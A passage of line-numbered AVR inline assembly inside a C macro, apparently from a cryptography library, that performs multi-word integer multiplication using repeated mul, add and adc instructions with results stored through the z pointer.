10310 "adc r24, r25 \n\t" \
10311 "mul r3, r19 \n\t" \
10312 "add r22, r0 \n\t" \
10313 "adc r23, r1 \n\t" \
10314 "adc r24, r25 \n\t" \
10315 "ld r0, z \n\t" \
10316 "add r22, r0 \n\t" \
10317 "adc r23, r25 \n\t" \
10318 "adc r24, r25 \n\t" \
10319 "st z+, r22 \n\t" \
10320 \
10321 "ld r19, y+ \n\t" \
10322 "ldi r22, 0 \n\t" \
10323 "mul r4, r19 \n\t" \
10324 "add r23, r0 \n\t" \
10325 "adc r24, r1 \n\t" \
10326 "adc r22, r25 \n\t" \
10327 "mul r5, r18 \n\t" \
10328 "add r23, r0 \n\t" \
10329 "adc r24, r1 \n\t" \
10330 "adc r22, r25 \n\t" \
10331 "mul r6, r17 \n\t" \
10332 "add r23, r0 \n\t" \
10333 "adc r24, r1 \n\t" \
10334 "adc r22, r25 \n\t" \
10335 "mul r7, r16 \n\t" \
10336 "add r23, r0 \n\t" \
10337 "adc r24, r1 \n\t" \
10338 "adc r22, r25 \n\t" \
10339 "mul r8, r15 \n\t" \
10340 "add r23, r0 \n\t" \
10341 "adc r24, r1 \n\t" \
10342 "adc r22, r25 \n\t" \
10343 "mul r9, r14 \n\t" \
10344 "add r23, r0 \n\t" \
10345 "adc r24, r1 \n\t" \
10346 "adc r22, r25 \n\t" \
10347 "mul r10, r13 \n\t" \
10348 "add r23, r0 \n\t" \
10349 "adc r24, r1 \n\t" \
10350 "adc r22, r25 \n\t" \
10351 "mul r11, r12 \n\t" \
10352 "add r23, r0 \n\t" \
10353 "adc r24, r1 \n\t" \
10354 "adc r22, r25 \n\t" \
10355 "mul r2, r21 \n\t" \
10356 "add r23, r0 \n\t" \
10357 "adc r24, r1 \n\t" \
10358 "adc r22, r25 \n\t" \
10359 "mul r3, r20 \n\t" \
10360 "add r23, r0 \n\t" \
10361 "adc r24, r1 \n\t" \
10362 "adc r22, r25 \n\t" \
10363 "ld r0, z \n\t" \
10364 "add r23, r0 \n\t" \
10365 "adc r24, r25 \n\t" \
10366 "adc r22, r25 \n\t" \
10367 "st z+, r23 \n\t" \
10368 \
10369 "ld r20, y+ \n\t" \
10370 "ldi r23, 0 \n\t" \
10371 "mul r4, r20 \n\t" \
10372 "add r24, r0 \n\t" \
10373 "adc r22, r1 \n\t" \
10374 "adc r23, r25 \n\t" \
10375 "mul r5, r19 \n\t" \
10376 "add r24, r0 \n\t" \
10377 "adc r22, r1 \n\t" \
10378 "adc r23, r25 \n\t" \
10379 "mul r6, r18 \n\t" \
10380 "add r24, r0 \n\t" \
10381 "adc r22, r1 \n\t" \
10382 "adc r23, r25 \n\t" \
10383 "mul r7, r17 \n\t" \
10384 "add r24, r0 \n\t" \
10385 "adc r22, r1 \n\t" \
10386 "adc r23, r25 \n\t" \
10387 "mul r8, r16 \n\t" \
10388 "add r24, r0 \n\t" \
10389 "adc r22, r1 \n\t" \
10390 "adc r23, r25 \n\t" \
10391 "mul r9, r15 \n\t" \
10392 "add r24, r0 \n\t" \
10393 "adc r22, r1 \n\t" \
10394 "adc r23, r25 \n\t" \
10395 "mul r10, r14 \n\t" \
10396 "add r24, r0 \n\t" \
10397 "adc r22, r1 \n\t" \
10398 "adc r23, r25 \n\t" \
10399 "mul r11, r13 \n\t" \
10400 "add r24, r0 \n\t" \
10401 "adc r22, r1 \n\t" \
10402 "adc r23, r25 \n\t" \
10403 "mul r2, r12 \n\t" \
10404 "add r24, r0 \n\t" \
10405 "adc r22, r1 \n\t" \
10406 "adc r23, r25 \n\t" \
10407 "mul r3, r21 \n\t" \
10408 "add r24, r0 \n\t" \
10409 "adc r22, r1 \n\t" \
10410 "adc r23, r25 \n\t" \
10411 "ld r0, z \n\t" \
10412 "add r24, r0 \n\t" \
10413 "adc r22, r25 \n\t" \
10414 "adc r23, r25 \n\t" \
10415 "st z+, r24 \n\t" \
10416 \
10417 "ld r21, y+ \n\t" \
10418 "ldi r24, 0 \n\t" \
10419 "mul r4, r21 \n\t" \
10420 "add r22, r0 \n\t" \
10421 "adc r23, r1 \n\t" \
10422 "adc r24, r25 \n\t" \
10423 "mul r5, r20 \n\t" \
10424 "add r22, r0 \n\t" \
10425 "adc r23, r1 \n\t" \
10426 "adc r24, r25 \n\t" \
10427 "mul r6, r19 \n\t" \
10428 "add r22, r0 \n\t" \
10429 "adc r23, r1 \n\t" \
10430 "adc r24, r25 \n\t" \
10431 "mul r7, r18 \n\t" \
10432 "add r22, r0 \n\t" \
10433 "adc r23, r1 \n\t" \
10434 "adc r24, r25 \n\t" \
10435 "mul r8, r17 \n\t" \
10436 "add r22, r0 \n\t" \
10437 "adc r23, r1 \n\t" \
10438 "adc r24, r25 \n\t" \
10439 "mul r9, r16 \n\t" \
10440 "add r22, r0 \n\t" \
10441 "adc r23, r1 \n\t" \
10442 "adc r24, r25 \n\t" \
10443 "mul r10, r15 \n\t" \
10444 "add r22, r0 \n\t" \
10445 "adc r23, r1 \n\t" \
10446 "adc r24, r25 \n\t" \
10447 "mul r11, r14 \n\t" \
10448 "add r22, r0 \n\t" \
10449 "adc r23, r1 \n\t" \
10450 "adc r24, r25 \n\t" \
10451 "mul r2, r13 \n\t" \
10452 "add r22, r0 \n\t" \
10453 "adc r23, r1 \n\t" \
10454 "adc r24, r25 \n\t" \
10455 "mul r3, r12 \n\t" \
10456 "add r22, r0 \n\t" \
10457 "adc r23, r1 \n\t" \
10458 "adc r24, r25 \n\t" \
10459 "ld r0, z \n\t" \
10460 "add r22, r0 \n\t" \
10461 "adc r23, r25 \n\t" \
10462 "adc r24, r25 \n\t" \
10463 "st z+, r22 \n\t" \
10464 \
10465 "ld r12, y+ \n\t" \
10466 "ldi r22, 0 \n\t" \
10467 "mul r4, r12 \n\t" \
10468 "add r23, r0 \n\t" \
10469 "adc r24, r1 \n\t" \
10470 "adc r22, r25 \n\t" \
10471 "mul r5, r21 \n\t" \
10472 "add r23, r0 \n\t" \
10473 "adc r24, r1 \n\t" \
10474 "adc r22, r25 \n\t" \
10475 "mul r6, r20 \n\t" \
10476 "add r23, r0 \n\t" \
10477 "adc r24, r1 \n\t" \
10478 "adc r22, r25 \n\t" \
10479 "mul r7, r19 \n\t" \
10480 "add r23, r0 \n\t" \
10481 "adc r24, r1 \n\t" \
10482 "adc r22, r25 \n\t" \
10483 "mul r8, r18 \n\t" \
10484 "add r23, r0 \n\t" \
10485 "adc r24, r1 \n\t" \
10486 "adc r22, r25 \n\t" \
10487 "mul r9, r17 \n\t" \
10488 "add r23, r0 \n\t" \
10489 "adc r24, r1 \n\t" \
10490 "adc r22, r25 \n\t" \
10491 "mul r10, r16 \n\t" \
10492 "add r23, r0 \n\t" \
10493 "adc r24, r1 \n\t" \
10494 "adc r22, r25 \n\t" \
10495 "mul r11, r15 \n\t" \
10496 "add r23, r0 \n\t" \
10497 "adc r24, r1 \n\t" \
10498 "adc r22, r25 \n\t" \
10499 "mul r2, r14 \n\t" \
10500 "add r23, r0 \n\t" \
10501 "adc r24, r1 \n\t" \
10502 "adc r22, r25 \n\t" \
10503 "mul r3, r13 \n\t" \
10504 "add r23, r0 \n\t" \
10505 "adc r24, r1 \n\t" \
10506 "adc r22, r25 \n\t" \
10507 "ld r0, z \n\t" \
10508 "add r23, r0 \n\t" \
10509 "adc r24, r25 \n\t" \
10510 "adc r22, r25 \n\t" \
10511 "st z+, r23 \n\t" \
10512 \
10513 "ld r13, y+ \n\t" \
10514 "ldi r23, 0 \n\t" \
10515 "mul r4, r13 \n\t" \
10516 "add r24, r0 \n\t" \
10517 "adc r22, r1 \n\t" \
10518 "adc r23, r25 \n\t" \
10519 "mul r5, r12 \n\t" \
10520 "add r24, r0 \n\t" \
10521 "adc r22, r1 \n\t" \
10522 "adc r23, r25 \n\t" \
10523 "mul r6, r21 \n\t" \
10524 "add r24, r0 \n\t" \
10525 "adc r22, r1 \n\t" \
10526 "adc r23, r25 \n\t" \
10527 "mul r7, r20 \n\t" \
10528 "add r24, r0 \n\t" \
10529 "adc r22, r1 \n\t" \
10530 "adc r23, r25 \n\t" \
10531 "mul r8, r19 \n\t" \
10532 "add r24, r0 \n\t" \
10533 "adc r22, r1 \n\t" \
10534 "adc r23, r25 \n\t" \
10535 "mul r9, r18 \n\t" \
10536 "add r24, r0 \n\t" \
10537 "adc r22, r1 \n\t" \
10538 "adc r23, r25 \n\t" \
10539 "mul r10, r17 \n\t" \
10540 "add r24, r0 \n\t" \
10541 "adc r22, r1 \n\t" \
10542 "adc r23, r25 \n\t" \
10543 "mul r11, r16 \n\t" \
10544 "add r24, r0 \n\t" \
10545 "adc r22, r1 \n\t" \
10546 "adc r23, r25 \n\t" \
10547 "mul r2, r15 \n\t" \
10548 "add r24, r0 \n\t" \
10549 "adc r22, r1 \n\t" \
10550 "adc r23, r25 \n\t" \
10551 "mul r3, r14 \n\t" \
10552 "add r24, r0 \n\t" \
10553 "adc r22, r1 \n\t" \
10554 "adc r23, r25 \n\t" \
10555 "ld r0, z \n\t" \
10556 "add r24, r0 \n\t" \
10557 "adc r22, r25 \n\t" \
10558 "adc r23, r25 \n\t" \
10559 "st z+, r24 \n\t" \
10560 \
10561 "ldi r24, 0 \n\t" \
10562 "mul r5, r13 \n\t" \
10563 "add r22, r0 \n\t" \
10564 "adc r23, r1 \n\t" \
10565 "adc r24, r25 \n\t" \
10566 "mul r6, r12 \n\t" \
10567 "add r22, r0 \n\t" \
10568 "adc r23, r1 \n\t" \
10569 "adc r24, r25 \n\t" \
10570 "mul r7, r21 \n\t" \
10571 "add r22, r0 \n\t" \
10572 "adc r23, r1 \n\t" \
10573 "adc r24, r25 \n\t" \
10574 "mul r8, r20 \n\t" \
10575 "add r22, r0 \n\t" \
10576 "adc r23, r1 \n\t" \
10577 "adc r24, r25 \n\t" \
10578 "mul r9, r19 \n\t" \
10579 "add r22, r0 \n\t" \
10580 "adc r23, r1 \n\t" \
10581 "adc r24, r25 \n\t" \
10582 "mul r10, r18 \n\t" \
10583 "add r22, r0 \n\t" \
10584 "adc r23, r1 \n\t" \
10585 "adc r24, r25 \n\t" \
10586 "mul r11, r17 \n\t" \
10587 "add r22, r0 \n\t" \
10588 "adc r23, r1 \n\t" \
10589 "adc r24, r25 \n\t" \
10590 "mul r2, r16 \n\t" \
10591 "add r22, r0 \n\t" \
10592 "adc r23, r1 \n\t" \
10593 "adc r24, r25 \n\t" \
10594 "mul r3, r15 \n\t" \
10595 "add r22, r0 \n\t" \
10596 "adc r23, r1 \n\t" \
10597 "adc r24, r25 \n\t" \
10598 "st z+, r22 \n\t" \
10599 \
10600 "ldi r22, 0 \n\t" \
10601 "mul r6, r13 \n\t" \
10602 "add r23, r0 \n\t" \
10603 "adc r24, r1 \n\t" \
10604 "adc r22, r25 \n\t" \
10605 "mul r7, r12 \n\t" \
10606 "add r23, r0 \n\t" \
10607 "adc r24, r1 \n\t" \
10608 "adc r22, r25 \n\t" \
10609 "mul r8, r21 \n\t" \
10610 "add r23, r0 \n\t" \
10611 "adc r24, r1 \n\t" \
10612 "adc r22, r25 \n\t" \
10613 "mul r9, r20 \n\t" \
10614 "add r23, r0 \n\t" \
10615 "adc r24, r1 \n\t" \
10616 "adc r22, r25 \n\t" \
10617 "mul r10, r19 \n\t" \
10618 "add r23, r0 \n\t" \
10619 "adc r24, r1 \n\t" \
10620 "adc r22, r25 \n\t" \
10621 "mul r11, r18 \n\t" \
10622 "add r23, r0 \n\t" \
10623 "adc r24, r1 \n\t" \
10624 "adc r22, r25 \n\t" \
10625 "mul r2, r17 \n\t" \
10626 "add r23, r0 \n\t" \
10627 "adc r24, r1 \n\t" \
10628 "adc r22, r25 \n\t" \
10629 "mul r3, r16 \n\t" \
10630 "add r23, r0 \n\t" \
10631 "adc r24, r1 \n\t" \
10632 "adc r22, r25 \n\t" \
10633 "st z+, r23 \n\t" \
10634 \
10635 "ldi r23, 0 \n\t" \
10636 "mul r7, r13 \n\t" \
10637 "add r24, r0 \n\t" \
10638 "adc r22, r1 \n\t" \
10639 "adc r23, r25 \n\t" \
10640 "mul r8, r12 \n\t" \
10641 "add r24, r0 \n\t" \
10642 "adc r22, r1 \n\t" \
10643 "adc r23, r25 \n\t" \
10644 "mul r9, r21 \n\t" \
10645 "add r24, r0 \n\t" \
10646 "adc r22, r1 \n\t" \
10647 "adc r23, r25 \n\t" \
10648 "mul r10, r20 \n\t" \
10649 "add r24, r0 \n\t" \
10650 "adc r22, r1 \n\t" \
10651 "adc r23, r25 \n\t" \
10652 "mul r11, r19 \n\t" \
10653 "add r24, r0 \n\t" \
10654 "adc r22, r1 \n\t" \
10655 "adc r23, r25 \n\t" \
10656 "mul r2, r18 \n\t" \
10657 "add r24, r0 \n\t" \
10658 "adc r22, r1 \n\t" \
10659 "adc r23, r25 \n\t" \
10660 "mul r3, r17 \n\t" \
10661 "add r24, r0 \n\t" \
10662 "adc r22, r1 \n\t" \
10663 "adc r23, r25 \n\t" \
10664 "st z+, r24 \n\t" \
10665 \
10666 "ldi r24, 0 \n\t" \
10667 "mul r8, r13 \n\t" \
10668 "add r22, r0 \n\t" \
10669 "adc r23, r1 \n\t" \
10670 "adc r24, r25 \n\t" \
10671 "mul r9, r12 \n\t" \
10672 "add r22, r0 \n\t" \
10673 "adc r23, r1 \n\t" \
10674 "adc r24, r25 \n\t" \
10675 "mul r10, r21 \n\t" \
10676 "add r22, r0 \n\t" \
10677 "adc r23, r1 \n\t" \
10678 "adc r24, r25 \n\t" \
10679 "mul r11, r20 \n\t" \
10680 "add r22, r0 \n\t" \
10681 "adc r23, r1 \n\t" \
10682 "adc r24, r25 \n\t" \
10683 "mul r2, r19 \n\t" \
10684 "add r22, r0 \n\t" \
10685 "adc r23, r1 \n\t" \
10686 "adc r24, r25 \n\t" \
10687 "mul r3, r18 \n\t" \
10688 "add r22, r0 \n\t" \
10689 "adc r23, r1 \n\t" \
10690 "adc r24, r25 \n\t" \
10691 "st z+, r22 \n\t" \
10692 \
10693 "ldi r22, 0 \n\t" \
10694 "mul r9, r13 \n\t" \
10695 "add r23, r0 \n\t" \
10696 "adc r24, r1 \n\t" \
10697 "adc r22, r25 \n\t" \
10698 "mul r10, r12 \n\t" \
10699 "add r23, r0 \n\t" \
10700 "adc r24, r1 \n\t" \
10701 "adc r22, r25 \n\t" \
10702 "mul r11, r21 \n\t" \
10703 "add r23, r0 \n\t" \
10704 "adc r24, r1 \n\t" \
10705 "adc r22, r25 \n\t" \
10706 "mul r2, r20 \n\t" \
10707 "add r23, r0 \n\t" \
10708 "adc r24, r1 \n\t" \
10709 "adc r22, r25 \n\t" \
10710 "mul r3, r19 \n\t" \
10711 "add r23, r0 \n\t" \
10712 "adc r24, r1 \n\t" \
10713 "adc r22, r25 \n\t" \
10714 "st z+, r23 \n\t" \
10715 \
10716 "ldi r23, 0 \n\t" \
10717 "mul r10, r13 \n\t" \
10718 "add r24, r0 \n\t" \
10719 "adc r22, r1 \n\t" \
10720 "adc r23, r25 \n\t" \
10721 "mul r11, r12 \n\t" \
10722 "add r24, r0 \n\t" \
10723 "adc r22, r1 \n\t" \
10724 "adc r23, r25 \n\t" \
10725 "mul r2, r21 \n\t" \
10726 "add r24, r0 \n\t" \
10727 "adc r22, r1 \n\t" \
10728 "adc r23, r25 \n\t" \
10729 "mul r3, r20 \n\t" \
10730 "add r24, r0 \n\t" \
10731 "adc r22, r1 \n\t" \
10732 "adc r23, r25 \n\t" \
10733 "st z+, r24 \n\t" \
10734 \
10735 "ldi r24, 0 \n\t" \
10736 "mul r11, r13 \n\t" \
10737 "add r22, r0 \n\t" \
10738 "adc r23, r1 \n\t" \
10739 "adc r24, r25 \n\t" \
10740 "mul r2, r12 \n\t" \
10741 "add r22, r0 \n\t" \
10742 "adc r23, r1 \n\t" \
10743 "adc r24, r25 \n\t" \
10744 "mul r3, r21 \n\t" \
10745 "add r22, r0 \n\t" \
10746 "adc r23, r1 \n\t" \
10747 "adc r24, r25 \n\t" \
10748 "st z+, r22 \n\t" \
10749 \
10750 "ldi r22, 0 \n\t" \
10751 "mul r2, r13 \n\t" \
10752 "add r23, r0 \n\t" \
10753 "adc r24, r1 \n\t" \
10754 "adc r22, r25 \n\t" \
10755 "mul r3, r12 \n\t" \
10756 "add r23, r0 \n\t" \
10757 "adc r24, r1 \n\t" \
10758 "adc r22, r25 \n\t" \
10759 "st z+, r23 \n\t" \
10760 \
10761 "mul r3, r13 \n\t" \
10762 "add r24, r0 \n\t" \
10763 "adc r22, r1 \n\t" \
10764 "st z+, r24 \n\t" \
10765 "st z+, r22 \n\t" \
10766 \
10767 "sbiw r30, 54 \n\t" \
10768 "sbiw r28, 32 \n\t" \
10769 "sbiw r26, 22 \n\t" \
10770 "ld r2, x+ \n\t" \
10771 "ld r12, y+ \n\t" \
10772 "ld r3, x+ \n\t" \
10773 "ld r13, y+ \n\t" \
10774 "ld r4, x+ \n\t" \
10775 "ld r14, y+ \n\t" \
10776 "ld r5, x+ \n\t" \
10777 "ld r15, y+ \n\t" \
10778 "ld r6, x+ \n\t" \
10779 "ld r16, y+ \n\t" \
10780 "ld r7, x+ \n\t" \
10781 "ld r17, y+ \n\t" \
10782 "ld r8, x+ \n\t" \
10783 "ld r18, y+ \n\t" \
10784 "ld r9, x+ \n\t" \
10785 "ld r19, y+ \n\t" \
10786 "ld r10, x+ \n\t" \
10787 "ld r20, y+ \n\t" \
10788 "ld r11, x+ \n\t" \
10789 "ld r21, y+ \n\t" \
10790 \
10791 "ldi r23, 0 \n\t" \
10792 "mul r2, r12 \n\t" \
10793 "st z+, r0 \n\t" \
10794 "mov r22, r1 \n\t" \
10795 \
10796 "ldi r24, 0 \n\t" \
10797 "mul r2, r13 \n\t" \
10798 "add r22, r0 \n\t" \
10799 "adc r23, r1 \n\t" \
10800 "mul r3, r12 \n\t" \
10801 "add r22, r0 \n\t" \
10802 "adc r23, r1 \n\t" \
10803 "adc r24, r25 \n\t" \
10804 "st z+, r22 \n\t" \
10805 \
10806 "ldi r22, 0 \n\t" \
10807 "mul r2, r14 \n\t" \
10808 "add r23, r0 \n\t" \
10809 "adc r24, r1 \n\t" \
10810 "adc r22, r25 \n\t" \
10811 "mul r3, r13 \n\t" \
10812 "add r23, r0 \n\t" \
10813 "adc r24, r1 \n\t" \
10814 "adc r22, r25 \n\t" \
10815 "mul r4, r12 \n\t" \
10816 "add r23, r0 \n\t" \
10817 "adc r24, r1 \n\t" \
10818 "adc r22, r25 \n\t" \
10819 "st z+, r23 \n\t" \
10820 \
10821 "ldi r23, 0 \n\t" \
10822 "mul r2, r15 \n\t" \
10823 "add r24, r0 \n\t" \
10824 "adc r22, r1 \n\t" \
10825 "adc r23, r25 \n\t" \
10826 "mul r3, r14 \n\t" \
10827 "add r24, r0 \n\t" \
10828 "adc r22, r1 \n\t" \
10829 "adc r23, r25 \n\t" \
10830 "mul r4, r13 \n\t" \
10831 "add r24, r0 \n\t" \
10832 "adc r22, r1 \n\t" \
10833 "adc r23, r25 \n\t" \
10834 "mul r5, r12 \n\t" \
10835 "add r24, r0 \n\t" \
10836 "adc r22, r1 \n\t" \
10837 "adc r23, r25 \n\t" \
10838 "st z+, r24 \n\t" \
10839 \
10840 "ldi r24, 0 \n\t" \
10841 "mul r2, r16 \n\t" \
10842 "add r22, r0 \n\t" \
10843 "adc r23, r1 \n\t" \
10844 "adc r24, r25 \n\t" \
10845 "mul r3, r15 \n\t" \
10846 "add r22, r0 \n\t" \
10847 "adc r23, r1 \n\t" \
10848 "adc r24, r25 \n\t" \
10849 "mul r4, r14 \n\t" \
10850 "add r22, r0 \n\t" \
10851 "adc r23, r1 \n\t" \
10852 "adc r24, r25 \n\t" \
10853 "mul r5, r13 \n\t" \
10854 "add r22, r0 \n\t" \
10855 "adc r23, r1 \n\t" \
10856 "adc r24, r25 \n\t" \
10857 "mul r6, r12 \n\t" \
10858 "add r22, r0 \n\t" \
10859 "adc r23, r1 \n\t" \
10860 "adc r24, r25 \n\t" \
10861 "st z+, r22 \n\t" \
10862 \
10863 "ldi r22, 0 \n\t" \
10864 "mul r2, r17 \n\t" \
10865 "add r23, r0 \n\t" \
10866 "adc r24, r1 \n\t" \
10867 "adc r22, r25 \n\t" \
10868 "mul r3, r16 \n\t" \
10869 "add r23, r0 \n\t" \
10870 "adc r24, r1 \n\t" \
10871 "adc r22, r25 \n\t" \
10872 "mul r4, r15 \n\t" \
10873 "add r23, r0 \n\t" \
10874 "adc r24, r1 \n\t" \
10875 "adc r22, r25 \n\t" \
10876 "mul r5, r14 \n\t" \
10877 "add r23, r0 \n\t" \
10878 "adc r24, r1 \n\t" \
10879 "adc r22, r25 \n\t" \
10880 "mul r6, r13 \n\t" \
10881 "add r23, r0 \n\t" \
10882 "adc r24, r1 \n\t" \
10883 "adc r22, r25 \n\t" \
10884 "mul r7, r12 \n\t" \
10885 "add r23, r0 \n\t" \
10886 "adc r24, r1 \n\t" \
10887 "adc r22, r25 \n\t" \
10888 "st z+, r23 \n\t" \
10889 \
10890 "ldi r23, 0 \n\t" \
10891 "mul r2, r18 \n\t" \
10892 "add r24, r0 \n\t" \
10893 "adc r22, r1 \n\t" \
10894 "adc r23, r25 \n\t" \
10895 "mul r3, r17 \n\t" \
10896 "add r24, r0 \n\t" \
10897 "adc r22, r1 \n\t" \
10898 "adc r23, r25 \n\t" \
10899 "mul r4, r16 \n\t" \
10900 "add r24, r0 \n\t" \
10901 "adc r22, r1 \n\t" \
10902 "adc r23, r25 \n\t" \
10903 "mul r5, r15 \n\t" \
10904 "add r24, r0 \n\t" \
10905 "adc r22, r1 \n\t" \
10906 "adc r23, r25 \n\t" \
10907 "mul r6, r14 \n\t" \
10908 "add r24, r0 \n\t" \
10909 "adc r22, r1 \n\t" \
10910 "adc r23, r25 \n\t" \
10911 "mul r7, r13 \n\t" \
10912 "add r24, r0 \n\t" \
10913 "adc r22, r1 \n\t" \
10914 "adc r23, r25 \n\t" \
10915 "mul r8, r12 \n\t" \
10916 "add r24, r0 \n\t" \
10917 "adc r22, r1 \n\t" \
10918 "adc r23, r25 \n\t" \
10919 "st z+, r24 \n\t" \
10920 \
10921 "ldi r24, 0 \n\t" \
10922 "mul r2, r19 \n\t" \
10923 "add r22, r0 \n\t" \
10924 "adc r23, r1 \n\t" \
10925 "adc r24, r25 \n\t" \
10926 "mul r3, r18 \n\t" \
10927 "add r22, r0 \n\t" \
10928 "adc r23, r1 \n\t" \
10929 "adc r24, r25 \n\t" \
10930 "mul r4, r17 \n\t" \
10931 "add r22, r0 \n\t" \
10932 "adc r23, r1 \n\t" \
10933 "adc r24, r25 \n\t" \
10934 "mul r5, r16 \n\t" \
10935 "add r22, r0 \n\t" \
10936 "adc r23, r1 \n\t" \
10937 "adc r24, r25 \n\t" \
10938 "mul r6, r15 \n\t" \
10939 "add r22, r0 \n\t" \
10940 "adc r23, r1 \n\t" \
10941 "adc r24, r25 \n\t" \
10942 "mul r7, r14 \n\t" \
10943 "add r22, r0 \n\t" \
10944 "adc r23, r1 \n\t" \
10945 "adc r24, r25 \n\t" \
10946 "mul r8, r13 \n\t" \
10947 "add r22, r0 \n\t" \
10948 "adc r23, r1 \n\t" \
10949 "adc r24, r25 \n\t" \
10950 "mul r9, r12 \n\t" \
10951 "add r22, r0 \n\t" \
10952 "adc r23, r1 \n\t" \
10953 "adc r24, r25 \n\t" \
10954 "st z+, r22 \n\t" \
10955 \
10956 "ldi r22, 0 \n\t" \
10957 "mul r2, r20 \n\t" \
10958 "add r23, r0 \n\t" \
10959 "adc r24, r1 \n\t" \
10960 "adc r22, r25 \n\t" \
10961 "mul r3, r19 \n\t" \
10962 "add r23, r0 \n\t" \
10963 "adc r24, r1 \n\t" \
10964 "adc r22, r25 \n\t" \
10965 "mul r4, r18 \n\t" \
10966 "add r23, r0 \n\t" \
10967 "adc r24, r1 \n\t" \
10968 "adc r22, r25 \n\t" \
10969 "mul r5, r17 \n\t" \
10970 "add r23, r0 \n\t" \
10971 "adc r24, r1 \n\t" \
10972 "adc r22, r25 \n\t" \
10973 "mul r6, r16 \n\t" \
10974 "add r23, r0 \n\t" \
10975 "adc r24, r1 \n\t" \
10976 "adc r22, r25 \n\t" \
10977 "mul r7, r15 \n\t" \
10978 "add r23, r0 \n\t" \
10979 "adc r24, r1 \n\t" \
10980 "adc r22, r25 \n\t" \
10981 "mul r8, r14 \n\t" \
10982 "add r23, r0 \n\t" \
10983 "adc r24, r1 \n\t" \
10984 "adc r22, r25 \n\t" \
10985 "mul r9, r13 \n\t" \
10986 "add r23, r0 \n\t" \
10987 "adc r24, r1 \n\t" \
10988 "adc r22, r25 \n\t" \
10989 "mul r10, r12 \n\t" \
10990 "add r23, r0 \n\t" \
10991 "adc r24, r1 \n\t" \
10992 "adc r22, r25 \n\t" \
10993 "st z+, r23 \n\t" \
10994 \
10995 "ldi r23, 0 \n\t" \
10996 "mul r2, r21 \n\t" \
10997 "add r24, r0 \n\t" \
10998 "adc r22, r1 \n\t" \
10999 "adc r23, r25 \n\t" \
11000 "mul r3, r20 \n\t" \
11001 "add r24, r0 \n\t" \
11002 "adc r22, r1 \n\t" \
11003 "adc r23, r25 \n\t" \
11004 "mul r4, r19 \n\t" \
11005 "add r24, r0 \n\t" \
11006 "adc r22, r1 \n\t" \
11007 "adc r23, r25 \n\t" \
11008 "mul r5, r18 \n\t" \
11009 "add r24, r0 \n\t" \
11010 "adc r22, r1 \n\t" \
11011 "adc r23, r25 \n\t" \
11012 "mul r6, r17 \n\t" \
11013 "add r24, r0 \n\t" \
11014 "adc r22, r1 \n\t" \
11015 "adc r23, r25 \n\t" \
11016 "mul r7, r16 \n\t" \
11017 "add r24, r0 \n\t" \
11018 "adc r22, r1 \n\t" \
11019 "adc r23, r25 \n\t" \
11020 "mul r8, r15 \n\t" \
11021 "add r24, r0 \n\t" \
11022 "adc r22, r1 \n\t" \
11023 "adc r23, r25 \n\t" \
11024 "mul r9, r14 \n\t" \
11025 "add r24, r0 \n\t" \
11026 "adc r22, r1 \n\t" \
11027 "adc r23, r25 \n\t" \
11028 "mul r10, r13 \n\t" \
11029 "add r24, r0 \n\t" \
11030 "adc r22, r1 \n\t" \
11031 "adc r23, r25 \n\t" \
11032 "mul r11, r12 \n\t" \
11033 "add r24, r0 \n\t" \
11034 "adc r22, r1 \n\t" \
11035 "adc r23, r25 \n\t" \
11036 "st z+, r24 \n\t" \
11037 \
11038 "ld r2, x+ \n\t" \
11039 "ldi r24, 0 \n\t" \
11040 "mul r3, r21 \n\t" \
11041 "add r22, r0 \n\t" \
11042 "adc r23, r1 \n\t" \
11043 "adc r24, r25 \n\t" \
11044 "mul r4, r20 \n\t" \
11045 "add r22, r0 \n\t" \
11046 "adc r23, r1 \n\t" \
11047 "adc r24, r25 \n\t" \
11048 "mul r5, r19 \n\t" \
11049 "add r22, r0 \n\t" \
11050 "adc r23, r1 \n\t" \
11051 "adc r24, r25 \n\t" \
11052 "mul r6, r18 \n\t" \
11053 "add r22, r0 \n\t" \
11054 "adc r23, r1 \n\t" \
11055 "adc r24, r25 \n\t" \
11056 "mul r7, r17 \n\t" \
11057 "add r22, r0 \n\t" \
11058 "adc r23, r1 \n\t" \
11059 "adc r24, r25 \n\t" \
11060 "mul r8, r16 \n\t" \
11061 "add r22, r0 \n\t" \
11062 "adc r23, r1 \n\t" \
11063 "adc r24, r25 \n\t" \
11064 "mul r9, r15 \n\t" \
11065 "add r22, r0 \n\t" \
11066 "adc r23, r1 \n\t" \
11067 "adc r24, r25 \n\t" \
11068 "mul r10, r14 \n\t" \
11069 "add r22, r0 \n\t" \
11070 "adc r23, r1 \n\t" \
11071 "adc r24, r25 \n\t" \
11072 "mul r11, r13 \n\t" \
11073 "add r22, r0 \n\t" \
11074 "adc r23, r1 \n\t" \
11075 "adc r24, r25 \n\t" \
11076 "mul r2, r12 \n\t" \
11077 "add r22, r0 \n\t" \
11078 "adc r23, r1 \n\t" \
11079 "adc r24, r25 \n\t" \
11080 "ld r0, z \n\t" \
11081 "add r22, r0 \n\t" \
11082 "adc r23, r25 \n\t" \
11083 "adc r24, r25 \n\t" \
11084 "st z+, r22 \n\t" \
11085 \
11086 "ld r3, x+ \n\t" \
11087 "ldi r22, 0 \n\t" \
11088 "mul r4, r21 \n\t" \
11089 "add r23, r0 \n\t" \
11090 "adc r24, r1 \n\t" \
11091 "adc r22, r25 \n\t" \
11092 "mul r5, r20 \n\t" \
11093 "add r23, r0 \n\t" \
11094 "adc r24, r1 \n\t" \
11095 "adc r22, r25 \n\t" \
11096 "mul r6, r19 \n\t" \
11097 "add r23, r0 \n\t" \
11098 "adc r24, r1 \n\t" \
11099 "adc r22, r25 \n\t" \
11100 "mul r7, r18 \n\t" \
11101 "add r23, r0 \n\t" \
11102 "adc r24, r1 \n\t" \
11103 "adc r22, r25 \n\t" \
11104 "mul r8, r17 \n\t" \
11105 "add r23, r0 \n\t" \
11106 "adc r24, r1 \n\t" \
11107 "adc r22, r25 \n\t" \
11108 "mul r9, r16 \n\t" \
11109 "add r23, r0 \n\t" \
11110 "adc r24, r1 \n\t" \
11111 "adc r22, r25 \n\t" \
11112 "mul r10, r15 \n\t" \
11113 "add r23, r0 \n\t" \
11114 "adc r24, r1 \n\t" \
11115 "adc r22, r25 \n\t" \
11116 "mul r11, r14 \n\t" \
11117 "add r23, r0 \n\t" \
11118 "adc r24, r1 \n\t" \
11119 "adc r22, r25 \n\t" \
11120 "mul r2, r13 \n\t" \
11121 "add r23, r0 \n\t" \
11122 "adc r24, r1 \n\t" \
11123 "adc r22, r25 \n\t" \
11124 "mul r3, r12 \n\t" \
11125 "add r23, r0 \n\t" \
11126 "adc r24, r1 \n\t" \
11127 "adc r22, r25 \n\t" \
11128 "ld r0, z \n\t" \
